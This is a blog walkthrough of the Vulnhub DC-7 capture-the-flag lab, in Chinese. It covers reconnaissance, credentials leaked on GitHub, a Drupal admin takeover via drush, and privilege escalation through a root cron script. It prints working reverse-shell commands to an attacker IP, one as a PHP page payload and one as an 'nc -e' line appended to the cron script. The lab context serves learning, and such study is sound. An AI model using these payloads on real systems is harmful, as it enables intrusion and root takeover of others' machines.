Vulnhub靶场案例渗透[7]- DC7

文章目录

  • [1. 靶场搭建](#1. 靶场搭建)
  • [2. 信息收集](#2. 信息收集)
    • [2.1 确定靶机ip](#2.1 确定靶机ip)
    • [2.2 服务信息收集](#2.2 服务信息收集)
    • [2.3 社工信息收集](#2.3 社工信息收集)
  • [3. 提权](#3. 提权)

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开

bash 复制代码
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

bash 复制代码
nmap -Ap 1-65535  192.168.6.102

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

bash 复制代码
# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

bash 复制代码
# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址

复制代码
```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

bash 复制代码
# 更改admin的密码
drush user-password admin --password=admin

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这个页面启用php拓展

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

php 复制代码
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
bash 复制代码
# kali执行
nc -lvp 8888
bash 复制代码
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

bash 复制代码
echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。

相关推荐
三言老师1 小时前
K8s集群运行时自动化运维全覆盖落地实操(下)
linux·运维·服务器·网络
ltl2 小时前
HAProxy HTX 与 HTTP 路径:内部表示、改写落点与协议分叉
linux
ltl3 小时前
可拆分 OS:CXL 内存池化如何动摇本地 DRAM 假设
linux
ltl3 小时前
Tetragon 强制执行:Override 与 SIGKILL 各自保证什么
linux
lengjingzju3 小时前
编译与调试完全指南—第6章 性能分析工具
linux
吴声子夜歌3 小时前
网络安全——网络渗透测试(网络扫描)
网络·web安全·php
fish-man3 小时前
ceshi ceshi yixia
网络·安全·web安全
躺不平的理查德4 小时前
嵌入式 Linux 系统移植与 SD 卡量产镜像制作
linux·运维·服务器
一直走下去-明5 小时前
centos7无法安装tcpreplay
linux·运维
吹什么轩5 小时前
linux网络:TCP套接字基础
linux·网络·tcp/ip